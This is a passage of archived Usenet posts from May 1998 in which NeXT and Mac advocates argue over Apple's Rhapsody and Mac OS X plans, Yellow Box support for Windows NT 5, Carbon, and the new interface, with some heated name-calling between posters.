>I agree that it's not as nice as NEXTSTEP, but I wouldn't malign it
>_that_ strongly. It's decent.
>
>Oh well, I hope the Appearance Manager stuff makes it over to Yellow.
Ok, that's probably a bit strong. :-)
Given that the current MacOS GUI is far worse in both Look and Feel
I guess you could say it's an improvement of sorts.
--
Felipe A. Rodriguez # Francesco Sforza became Duke of Milan from
Agoura Hills, CA # being a private citizen because he was
# armed; his successors, since they avoided
far@ix.netcom.com # the inconveniences of arms, became private
(NeXTmail preferred) # citizens after having been dukes.
(MIMEmail welcome) # --Nicolo Machiavelli
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 06:50:59 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C2C23.2DA93D1@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B5AC9.C702C235@milestonerdl.com> <6jft1v$83b$1@crib.bevc.blacksburg.va.us> <355B7034.DB4FE5B8@milestonerdl.com> <6jg1ua$88j$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> It is _astonishing_ how you turn _every_ single statement _anyone_
> makes into a claim that Apple is not committed to cross-platform or
> cross-platform does not matter -- when they are in reality not saying
> anything of the sort, and usually not anything having to do with
> cross-platform at all.
>
> You truly are mentally deficient, and your stupidity is not worth my
> time.
Mentally deficient?
You can't rebut the lack of public committment to NT 5.x/98, so you resort to name
calling. How charming.
Apple HAS brought the cross-platform into doubt. And even says you should stay
clear on that aspect. Below is the quote.
Now, when you can provide a press release clarifying this matter, then fine.
Until then, the below is part of the public record.
http://www.macnn.com/macnn/reality/archives/051198/news.shtml
(No word if Rhapsody Intel will be pushed as much)
Brett talked about support for
Rhapsody in the future on multiple architectures, but again, he too was very
vague on this subject and did not specifically mention
Intel. We believe Steve briefed these keynote speakers ahead of time, and
warned them to stay clear of the Intel situation since they
aren't quite secure in this area.
Brett Halle, Manager of the Core OS group
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: 15 May 1998 12:32:57 GMT
Organization: P & L Systems
Message-ID: <6jhclp$1cc$44@ironhorse.plsys.co.uk>
References: <6j8fet$k2n$1@walter.cs.umd.edu> <slrn6lfj6b.l9u.sal@panix3.panix.com>
<5cR51.1551$sy4.3122694@news.rdc1.sdca.home.com> <35591A23.66A07C46@unet.univie.ac.at>
<Apk61.2102$sy4.4060601@news.rdc1.sdca.home.com>
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Cc: rriley@yahoo.com
In <Apk61.2102$sy4.4060601@news.rdc1.sdca.home.com> Rex Riley wrote:
> I was not clear on my post. I was speaking of NeXTies ie. NeXT Developers.
>
OK, I guess that includes us.
> With previous Rhapsody plans NeXT Developers had the hoped for ability to
sell
> into the Intel market. The previous plan had a cross-platform component
which
> now is in question. It looks like access into the Mac userbase will follow
> through PPCland on MacOS X. And the Intel option is left unaddressed.
>
Umm, the cross-platform component is not in question:
"One thing that I do want to note is that it was mentioned on several
occasions that Yellow Box for Windows is a long-term commitment, and that it
will run on Windows 98 and NT 5.0 (if it ever appears). I think it was
mentioned that DR2 runs on the current Windows 98 beta."
Scott ANguish
http://www.stepwise.com/SpecialCoverage/WWDC98/
> NeXTies loose a plehora of neat .apps like the Lighthouse and others which
> won't make the Rhapsody Trek. And wait they must for YB API's to meet MacOS
X
> demand, before those neat apps comeback, if then...
>
??!!
The Lighthouse suite was never going to start on the Rhasody trek.
Sun Scott-ched it.
There are plenty of other neat YB apps which are already well along the
Rhapsody trek.
Best wishes,
mmalc.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Message-ID: <1998051512561800.IAA17653@ladder01.news.aol.com>
Date: 15 May 1998 12:56:18 GMT
Organization: AOL http://www.aol.com
References: <6jgsjt$93u$1@crib.bevc.blacksburg.va.us>
I think it's pretty pathetic as well in terms of the Macintosh gaudiness which
is still left. Why can't they trash the trash can?
It looks to be configurable though, which is promising, but I think it's
ridiculous to proliferate the UI elements as they have.
One of the most wonderful things about the NeXTstep UI was the minimal number
of elements used in an orthogonal manner. All that you have to tell a new user
about to get them started is icons, windows and buttons and they can get
started. Icons are draggable, you push on buttons, and oh, yes, there are
window title bars you can drag and the bottom edge of a window is a special
button which can be pulled and dragged.
If you want an application, you double-click the icon even if it's hidden but
running!
I begin to believe that I'll never purchase a new piece of software or hardware
again. I'm going to get the batteries for my NCR-3125 rebuilt and I'll run
PenPoint on that, and I'm going to get an Adaptec PCMCIA SCSI card so that I
can install OpenStep on my ThinkPad, cancel my AOL account and give up.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 15 May 1998 12:38:10 GMT
Organization: P & L Systems
Message-ID: <6jhcvi$1cc$45@ironhorse.plsys.co.uk>
References: <6jfn43$7r8$1@crib.bevc.blacksburg.va.us> <B180C072-D5287@206.165.43.181>
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In <B180C072-D5287@206.165.43.181> "Lawson English" wrote:
> X is NOT a consumer-oriented OS, and unless you can sell to millions of
> customers, you can't get the market-penetration to make Yellow a standard
> on MacOS.
>
Are you off your head?!
> Remember: Carbon will work on the consumer-oriented MacOS but YB won't.
> How many sales will there be of MacOS 8.5 compared to how many sales of
> Rhaposdy?
>
For heavens sake, MacOS X is the next MacOS after MacOS 8.x. This is *THE*
MacOS. Jobs has pointed out time and again that they only want to support
one OS, and MacOS X will be *it*.
> YB is, if not dead, seriously injured.
>
Absolute bollocks. Get a grip.
> So unless Mike Paquette pulls a rabbit out of his hat and provides GX-level
> graphics for Carbon, high-end graphics developers for MacOS no longer have
> a high-end graphics engine that will work on both low-end and high-end
> Macintoshes.
>
Read the reports on Stepwise.
> A light dawns: Adobe and Macromedia get to rule the high-end and low-end of
> MacOS because no serious graphics developer will be able to compete on
> MacOS 8.5 AND MacOS X using the graphics tools available in Carbon and DPS
> won't be available for MacOS 8.5 users because YB won't be.
>
> GX dies and DPS is rendered impotent.
>
> Wheels within wheels within wheels...
>
You're being a bloody idiot.
mmalc.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Fri, 15 May 1998 07:19:56 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C32EB.EEC7D4F@milestonerdl.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com> <see-below-1405982250180001@209.24.240.162>
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Matthew Vaughan wrote:
> Exactly. What I mean is: if Apple intends to abandon Yellow Box for Intel,
> and already knows that Mac developers aren't keen on moving over to it
> despite its advantages, why would they keep working on Yellow Box at all?
Because Apple is hoping to grow its marketshare by getting cross-platform
developers to sign on to YellowBox development. Then, make them MacOS X
developers via dropping support for the NT 5 platform. If you want to be
supported, move to PPC will be the offer.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 14:44:18 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1405981444180001@dante.eng.uci.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu> <3559FA4D.CF4A4BF4@spamtoNull.com> <355a269d.0@news.depaul.edu> <ericb-1405981236220001@132.236.171.104> <355b3f08.0@news.depaul.edu>
In article <355b3f08.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>You're not much of a strategist, are you? Why should Apple get
>involved in that pissing match? Let Sun and Netscape spend their
>money. If they win, Apple wins. If Microsoft wins, then Apple
>still wins.
>
>Apple has more important things to do than blowing their
>bargaining position in support of two loser companies like
>Sun and Netscape.
Well said. Steve has *precisely* the right attitude for an Apple CEO:
"I don't care what Microsoft does"
Steve will cozy up with MS so long as it is profitable to do so. Apple
isn't out to overthrow MS. Apple is out to convince us to buy their
products. If that results in the the overthrow of MS, what a splendid
byproduct that would be.
-Bob Cassidy
Don't take that as my endorsement of MS. Personally I'd like them removed
from this planet, thank you very much.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 14:46:30 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1405981446300001@dante.eng.uci.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu> <3559FA4D.CF4A4BF4@spamtoNull.com> <355a269d.0@news.depaul.edu> <slrn6lmkpc.rb6.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6lmkpc.rb6.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
>The fact that Steve Jobs was seemingly converted to be ''pro Microsoft''
>would clearly demonstrate just how excessively powerful Microsoft has
>become.
>
>It would send a powerful message to the DOJ: "SUBPOENA ME NOW DAMMIT!"
>
>It would be a really good sleazy trick. Especially if an anonymous
>Apple insider just happened to leak documents to the government....
No. I think getting IE on 100% of all systems shipped instead of 94% and
Office out of the 92% marketshare and up to 99% will have the proper
effect. And if MS is willing to pay Apple for that, just as well.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AMP is dead!
Date: Thu, 14 May 1998 14:58:37 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1405981458370001@dante.eng.uci.edu>
References: <jayfar-1405981500200001@chestnut1-27.slip.netaxs.com>
In article <jayfar-1405981500200001@chestnut1-27.slip.netaxs.com>,
jayfar@netaxs.com wrote:
>| Huh?!? I could swear I put one of those out at the curb
>| with the trash last week, when I cleaned out my basement %-)
>| Don't take offense please, but I feel compelled to suggest
>| your amazement threshhold may be in serious need of
>| recalibration.
>
>MacOS Rumors offers a second-hand quote from a reader, quoting 'an Apple
>employee' as saying the AMP pictures leaked were just pictures they
>(Apple) dug up of an old Apple set-top box design. Plausible.
>
>That aside, I hope the previous(ly) amazed poster was sufficiently sedated
>for the iMac unveiling %-)
I recently saw an article on CNN.com that had a picture of a set-top box
that looked *exactly* like the AMP one. So my guess is that the AMP
picture, rather than being a 6100 design set-top derivative from years
gone by (think about how big a 6100 is for a moment) is probably just some
other set-top design with an Apple logo plastered on it. Of course, this
could suggest that Apple is working on a set-top box, or not. Enjoy.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lots of misinformation
Date: Thu, 14 May 1998 15:00:56 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1405981500560001@dante.eng.uci.edu>
References: <01bd7de2$cfc7f170$04387880@test1> <3558CD7D.5327CAB0@unet.univie.ac.at> <35593144.34FC9080@nstar.net> <slrn6ljdh9.p80.sal@panix3.panix.com> <355B1C15.83CCAA4D@nospam.com> <355b3fbe.0@news.depaul.edu>
In article <355b3fbe.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>I would guess that the two OS's in question are old-style MacOS
>and the Rhapsody-based OS's. The differences between Rhapsody
>on PPC and Rhapsody on Intel are certain to be *tiny*, compared
>to the difference between MacOS 8 and Rhapsody/MacOS X.
And consider that there are probably no more differences between
Rhapsody/PPC and Rhapsody/Intel than there are between MacOS/PPC and
MacOS/68k, yet we don't consider MacOS to be two OS's, and I don't think
Apple does either.
-Bob Cassidy
From: far_no@spam.ix.netcom.com(Felipe A. Rodriguez)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: 15 May 1998 14:16:59 GMT
Organization: ICGNetcom
Message-ID: <6jhior$njn@sjx-ixn10.ix.netcom.com>
References: <6jhguk$526$3@news.idiom.com>
In article <6jhguk$526$3@news.idiom.com> jcr.remove@this.phrase.idiom.com (John C.
Randolph) writes:
> Felipe A. Rodriguez may or may not have said:
>-> In article <6jh6lm$526$1@news.idiom.com> jcr.remove@this.phrase.idiom.com
>(John C.
snip
>-> I'm afraid I don't understand why you and others seem so upset
>-> with Adobe for wanting to make a buck off of their proprietary
>-> code. I mean that is what proprietary is all about. You tax
>-> the suckers forever. A similar thread a while ago bashed
>-> Alladin(I think that's the name) for keeping their Stuffit code
>-> closed and proprietary(i.e. very profitable ).
>
>Sure, it's their prerogative not to play ball here, and there's no grounds
>for anyone to sue them. That doesn't mean, however, that their decision was
>well-advised, or that we shouldn't criticise them.
>
>I criticise people and companies all the time for doiing things that are
>perfectly within their rights.
>
>-jcr.
I can sympathize with that, but if measured by the same criteria
then Apple is far worse than either Adobe or Alladin.
--
Felipe A. Rodriguez # Francesco Sforza became Duke of Milan from
Agoura Hills, CA # being a private citizen because he was
# armed; his successors, since they avoided
far@ix.netcom.com # the inconveniences of arms, became private
(NeXTmail preferred) # citizens after having been dukes.
(MIMEmail welcome) # --Nicolo Machiavelli
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: 15 May 1998 14:14:43 GMT
Organization: P & L Systems
Message-ID: <6jhikj$1cc$46@ironhorse.plsys.co.uk>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <slrn6lev9v.4k9.sal@panix3.panix.com>
<rmcassid-1105981604220001@dante.eng.uci.edu> <slrn6lfjer.l9u.sal@panix3.panix.com>
<rmcassid-1105982343080001@dialin33418.slip.uci.edu> <6j9one$h2q$1@sun27.hrz.tu-darmstadt.de>
<6jchfe$1cc$20@ironhorse.plsys.co.uk> <6jcv10$674$1@nnrp1.dejanews.com>
<6jek2m$fqr$1@sun27.hrz.tu-darmstadt.de>
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Cc: neuss.@informatik.th-darmstadt.de.nos-pam
In <6jek2m$fqr$1@sun27.hrz.tu-darmstadt.de> Christian Neuss wrote:
> A great ad. I always wanted it framed, but didn't want to take
> apart the copy of NeXTworld it was in. I've heard there were
> T-shirts that just said "Yes, it will", but I've never seen
> one.
>
We've still got a couple... maybe it's time to auction one :-)
Best wishes,
mmalc.
From: aa158@valleynet.on.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: NXHosting is dead ?
Date: Fri, 15 May 1998 14:20:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jhivm$22a$1@nnrp1.dejanews.com>
See
http://www.macintouch.com/m10imaging.html
Richard
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 12:27:51 GMT
Organization: P & L Systems
Message-ID: <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
References: <355bc985.0@206.25.228.5>
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Cc: jkheit@xtdl.com
In <355bc985.0@206.25.228.5> John Kheit wrote:
> www.stepwise.com has a new article out with screen grabs of RDR2.
> Good going guys. Nice article.
>
Cheers -- thanks though to Apple for letting us do it.
> OK, I couldn't hold back a second longer. GOSH THAT FREAKIN UI
> SUCKS BIG BOGON SCOOPS. Ah, I feel much better now.
>
Actually you get used to it.
Again, it's how it feels that's important.
The one thing I really still miss is the Shelf on the FileBrowser.
Not having that is a pain in the bottom.
Best wishes,
mmalc.
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Fri, 15 May 1998 14:04:00 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et04Eo.4x7@micmac.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>
<EsvxtF.7G0@micmac.com> <4Kk61.2106$sy4.4060601@news.rdc1.sdca.home.com>
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Cc: rriley@yahoo.com
This was written in comp.sys.next.advocacy,comp.sys.mac.advocacy
(<4Kk61.2106$sy4.4060601@news.rdc1.sdca.home.com>) by Rex Riley:
> In <EsvxtF.7G0@micmac.com> Michel Coste wrote:
> > This was written in comp.sys.next.advocacy,comp.sys.mac.advocacy
> > (<zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>) by Rex Riley:
> >
> > > You obviously haven't been around the Steve long enough to appreciate
the
> > > comment. Let me phrase this as concise as possible. Developers just
went
> > > from a compile once - deploy elsewhere to a compile once - deploy
once.
> > >
> >
> > Where have you seen that MacOSX won't be deployed _somewhere_ else?
> >
> >
>
> I know Steve doesn't like to build software that sells someone else's
> hardware. Unless there is a two way opportunity for PPC hardware sales,
the
> argument for cross-compiling - weak.
>
> > The fact that it is not written or said doesn't mean it won't happen...
> >
> >
>
> I just wouldn't build any Business Plans on the strength of your
> convictions...
>
I didn't ask you to do that! =;)
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 14:16:33 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et04zL.52u@micmac.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
<Esu3v3.365@micmac.com> <stevehix-1305981551390001@ip53.safemail.com>
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Cc: stevehix@safemail.com
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<stevehix-1305981551390001@ip53.safemail.com>) by Steve Hix:
> In article <Esu3v3.365@micmac.com>, nospam@micmac.com wrote:
>
> > Though we agree on the rest, as I see it, you're wrong on that:
> > Carbon will run on Intel (mo)... So this is also a way to access a much
> > larger market.
>
> Whatever for? Carbon is a tweaked (large) subset of MacOS.
>
> Why use Carbon when you could use YB, since both are supported
> on MacOS X? Unless you have a very large investment in MacOS,
> YB looks like a better bet for the further future.
>
Because the vast quantity of EXISTING mac apps don't run under YB!!!!
I thought it was easy to understand!
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: Fri, 15 May 1998 14:08:08 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et04LK.4zv@micmac.com>
References: <6j9vr4$flq@nntp02.primenet.com> <6ja5o4$k4$1@news.idiom.com>
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Cc: malcolm@plsys.co.uk
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<6jcl93$1cc$26@ironhorse.plsys.co.uk>) by mmalcolm crawford:
> In <Esvx8v.6n8@micmac.com> Michel Coste wrote:
>
> > And since Rhapsody was never the official name of the future system we
can
> > say that nothing has changed...
> >
> Except that unfortunately Rhapsody will now be released as "Rhapsody".
>
> I say unfortunately purely from the perspective of an OPENSTEP developer:
the
> strategy Apple has outlined is technically very good for us; from the
> marketing perspective it makes things difficult. The average customer is
> going to need a lot of convincing that Rhapsody 1.0 isn't just going to be
an
> orphaned product on release -- if you need proof look at how many people
here
> still think Rhapsody's dead. This means that it's going to be a lot more
> difficult gaining new sales than it need have been had the strategy been
more
> transparent. Making the strategy more transparent, however, might have
been
> the greater of the two evils.
>
I see personnally Mac OS X as Rhapsody 2.0!
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Fri, 15 May 1998 14:26:48 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et05Go.55r@micmac.com>
References: <ericb-1105981718430001@132.236.171.104> <Esu12F.2yG@micmac.com>
<slrn6lgnva.l2e.sal@panix3.panix.com> <EsvyKp.7tA@micmac.com>
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Cc: see-below@not-my-address.com
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<see-below-1305981927430001@209.24.241.190>) by Matthew Vaughan:
> I don't see that at all. It would take massive amounts of work to transfer
> carbon to Intel. In addition, all those applications would have to be
> recompiled. In addition, that _would_ make Yellow Box more or less
> redundant, which I don't think is their plan.
Redundant???
Why redundant???
From what I think to remember no Mac application exist under
NeXTstep/Openstep/YB!!!!
A number of very fine Mac apps would be instantly available to windoz users.
And none could say "there are no apps for that new system!" [we *know* that
song!!!]
Imagine if a lot of Mac apps had been available for NeXTstep in 1991!!
No difference for you???? Really????
On top of that, I seriously
> doubt you'll see Rhapsody/MacOS 10 as a _consumer_ OS on Intel anytime
> soon. There may still be a server version with YB and Unix tools, but
> _not_ MacOS - Apple still needs to sell PPC hardware to stay in business!
Remember: PPC is supposed to be MUCH faster!
mc
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 07:05:29 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C2F89.CE6DC565@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <see-below-1405982010060001@209.24.240.162> <6jgdc7$s45$1@camel18.mindspring.com>
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Matthew Cromer wrote:
> In article <355B2EE2.654AA8E2@milestonerdl.com> M Rassbach,
> mark@milestonerdl.com writes:
> >We now return you to dig up a real live NT 5.x committment.
>
> When NT5 ships in the year 2000 you will see this committment.
And you know this because Apple has said so where?
When you have a press release in hand clarifying this, come back and
make the claim.
http://www.macnn.com/macnn/reality/archives/051198/news.shtml
(No word if Rhapsody Intel will be pushed as much)
Brett talked about support for
Rhapsody in the future on multiple architectures, but again, he too
was very vague on this subject and did not specifically mention
Intel. We believe Steve briefed these keynote speakers ahead of
time, and warned them to stay clear of the Intel situation since they
aren't quite secure in this area.
Brett Halle, Manager of the Core OS group
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Fri, 15 May 1998 08:57:22 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C49C2.8D4B8434@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com> <rmcassid-1305981217110001@dante.eng.uci.edu> <355B0318.2D119336@milestonerdl.com> <rmcassid-1405981158500001@dante.eng.uci.edu>
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Robert Cassidy wrote:
> In article <355B0318.2D119336@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> >However, Apple could be preping for a bait-and-switch. And the ppl who will be
> >burned are the ones who have believed Apple has a plan to support NT5. Such a
> >plan has not been announced formally. So, if you adopt YellowBox, your only
> >option is PPC's by Apple.
>
> You know, Mark. REGARDLESS of what Apple says publicly, they could be
> prepping for a bait and switch.
Damn straigh. But to say Apple has a future in a long-term cross-platform plan,
flies in the face of reality.
> So can Intel, Microsoft, IBM, the guy on
> your left and the gal on your right. Don't belive any of them. Don't let
> your guard down for a second.
And, even if Apple DOES announce NT5.x/98 support, they could back out/not offer it.
> In fact, go get yourself some *really* heavy
> duty tin-foil and wrap it around your head. It keeps the reality
> distortion field out.
It's better than claiming Apple has a long-term cross-platform plan.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Fri, 15 May 1998 09:04:43 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C4B7B.33644A11@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
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mmalcolm crawford wrote:
> In <3559D08E.CC749854@milestonerdl.com> M Rassbach wrote:
> > > (b) Why should YB not work on 98 / NT5?
> >
> > Again, Microsoft-centric applications have a history of breaking at the
> time of
> > a Microsoft OS upgrade. What is Apple's level of commitment? None, that I
> see.
> >
> [...]
> > Or, do you TRUST Apple?
> >
> OK, since you're being such a pain, I guess it's time to start betting again.
I'm being a pain?
What? Truth hurts? Face it, I have a credible message questioning Apple's
committment to Intel/NT 5.x/98 as a long term option. And you are to in love
with Apple to admit there is a problem.
http://www.macnn.com/macnn/reality/archives/051198/news.shtml
(No word if Rhapsody Intel will be pushed as much)
Brett talked about support for
Rhapsody in the future on multiple architectures, but again, he too was very
vague on this subject and did not specifically mention
Intel. We believe Steve briefed these keynote speakers ahead of time, and
warned them to stay clear of the Intel situation since they
aren't quite secure in this area.
Brett Halle, Manager of the Core OS group
Seems to me the long-term plan isn't as clear as you state.
> I'm willing to lay down $100 that within a year of Win98 shipping Apple has
> YellowBox running on it.
> Put up or shut up.
I have a BETTER idea....when you can produce a formal statement by Apple that NT
5.x/98 is part of their support plan, then I won't be able to comment on this,
now will I?
From: far_no@spam.ix.netcom.com(Felipe A. Rodriguez)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: 15 May 1998 13:15:23 GMT
Organization: ICGNetcom
Message-ID: <6jhf5b$ku3@sjx-ixn10.ix.netcom.com>
References: <6jh6lm$526$1@news.idiom.com>
In article <6jh6lm$526$1@news.idiom.com> jcr.remove@this.phrase.idiom.com (John C.
Randolph) writes:
snip
>
>Meanwhile, I say: A pox on Adobe. Pride goeth before the fall.
>
>-jcr
I'm afraid I don't understand why you and others seem so upset
with Adobe for wanting to make a buck off of their proprietary
code. I mean that is what proprietary is all about. You tax
the suckers forever. A similar thread a while ago bashed
Alladin(I think that's the name) for keeping their Stuffit code
closed and proprietary(i.e. very profitable ).
That is what "Think Different" really means right? Proprietary
hardware and software sold at higher prices to people stupid enough
to buy the label on Rodeo Drive. If it's allright for Apple to
be by far the most proprietary mainstream computer company I don't
see why it's wrong for others to emulate the behavior in the same
Mac market.
--
Felipe A. Rodriguez # Francesco Sforza became Duke of Milan from
Agoura Hills, CA # being a private citizen because he was
# armed; his successors, since they avoided
far@ix.netcom.com # the inconveniences of arms, became private
(NeXTmail preferred) # citizens after having been dukes.
(MIMEmail welcome) # --Nicolo Machiavelli
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Fri, 15 May 1998 09:09:36 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C4C9F.5C1E3A06@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
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<6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com>
<6jd4b4$5nv$4@msunews.cl.msu.edu> <355A1631.F7BD6362@milestonerdl.com> <6jfv8f$1cc$34@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> In <355A1631.F7BD6362@milestonerdl.com> M Rassbach wrote:
>
> > Simple. Just announce that "Apple considerers NT 5.x to be a key platform
> > to support.
> >
> Why give Micro$oft free advertising?
> Apple should market its own products. When Win98/NT5 ships, then say
> something about it.
> > How convincing is learning YellowBox if it runs on old 95/NT4 and Macintosh
> > machines?Carbon exists because YellowBox wasn't convincing enuf.
> >
> You really haven't understood, have you?
> Carbon exists because the Rhapsody plan as first stated disenfranchised too
> many Mac developers who lacked the resources to port to YellowBox, not
> because YellowBox didn't support enough platforms.
What part of the below don't you get?
http://www.macnn.com/macnn/reality/archives/051198/news.shtml
(No word if Rhapsody Intel will be pushed as much)
Brett talked about support for
Rhapsody in the future on multiple architectures, but again, he too was very
vague on this subject and did not specifically mention
Intel. We believe Steve briefed these keynote speakers ahead of time, and
warned them to stay clear of the Intel situation since they
aren't quite secure in this area.
Brett Halle, Manager of the Core OS group
Apple says to 'stay clear' of Intel right here. If Intel is the cross-platform
plan, Apple has said 'stay clear'
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Fri, 15 May 1998 07:38:12 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C3733.BC879B06@milestonerdl.com>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <rmcassid-1405981211310001@dante.eng.uci.edu>
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Robert Cassidy wrote:
> Personally, I've never known a Mac user to suggest that others shouldn't
> learn unix. On the other hand, I don't EVER want someone to tell me that
